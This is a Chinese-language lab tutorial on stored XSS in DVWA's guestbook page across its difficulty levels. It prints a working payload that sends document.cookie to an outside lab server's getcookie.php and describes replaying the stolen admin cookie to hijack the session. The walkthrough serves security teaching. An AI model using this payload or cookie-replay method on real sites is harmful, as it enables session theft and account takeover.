存储型跨站可以将XSS语句直接写入到数据库中,因而相比反射型跨站的利用价值要更大。
在DVWA中选择XSS stored,这里提供了一个类型留言本的页面。
我们首先查看low级别的代码,这里提供了$message和$name两个变量,分别用于接收用户在Message和Name框中所提交的数据。对这两个变量都通过mysql_real_escape_string()函数进行了过滤,但是这只能阻止SQL注入漏洞。
可以看出,在low级别下,Name和Message这两个文本框都存在跨站漏洞,但是由于DVWA对name框的长度进行了限制,最多只允许输入10个字符,所以我们这里在Message框输入跨站语句“<script>alert(‘hi‘)</script>”,以后任何人只要访问这个留言页面,就可以触发跨站语句,实现弹框。
当然,弹框并不是目的,XSS的主要用途之一是盗取cookie,也就是将用户的cookie自动发送到黑客的电脑中。
下面我们准备一台安装有PHP环境的Web服务器(IP地址192.168.80.132),在其中创建一个名为getcookie.php的网页,网页代码如下:
然后在Message框中输入下面这段XSS语句,注意中间没有换行:
<script>document.write(‘<img src="http://192.168.80.132/getcookie.php?cookie=‘+document.cookie+‘" height=0 border=0 />‘);</script> |
在DVWA中提交之后,这时就会在getcookie.php网页所在的目录下生成一个名为cookie.txt的文件,其中就含有窃取过来的cookie:
那么我们该怎么利用窃取过来的cookie呢?由于这个cookie是以管理员的身份创建的,有些网站的cookie中会直接包含有管理员的账号和密码,这里的cookie虽然没有密码,但我们可以利用这个cookie假冒管理员的身份去执行某些操作。
比如在之前的CSRF测试页面中可以更改管理员的密码,我们将这个页面的URL复制下来:http://192.168.80.1/dvwa/vulnerabilities/csrf/,然后新打开一个浏览器窗口,将URL粘贴过去直接访问,由于这个页面只有管理员权限才可以访问,因而这时就会自动跳转到DVWA的登录界面。
现在我们已经窃取到了管理员的cookie,因而就可以绕过身份验证,而直接去访问CSRF页面。当然这里需要借助一些可以修改cookie的工具,很多渗透工具都提供了类似的功能,比如经典的啊D。在“扫描注入点”的“检测网址”中输入要访问的URL,然后点击最右侧的“cookies 修改”按钮,在下方的文本框中输入窃取来的cookie,点击修改按钮,然后再点击“打开网页”按钮,这时就可以直接以管理员身份访问这个页面了。
下面再分析一下medium级别的代码,可以看到对变量$message用htmlspecialchars()函数进行了过滤,这样Message输入框就不存在XSS漏洞了,但是Name框仍有漏洞。不过由于DVWA对Name框的长度进行了限制,只允许最多输入10个字符,因而这里的XSS攻击就有些难度了,网上有不少如何缩短XSS语句长度的资料,但我没查到合适的攻击方法,这个问题也只能暂时搁置了。
在high级别中,则毫无疑问地对$message和$name都进行了过滤,这样跨站漏洞也就被彻底阻止了。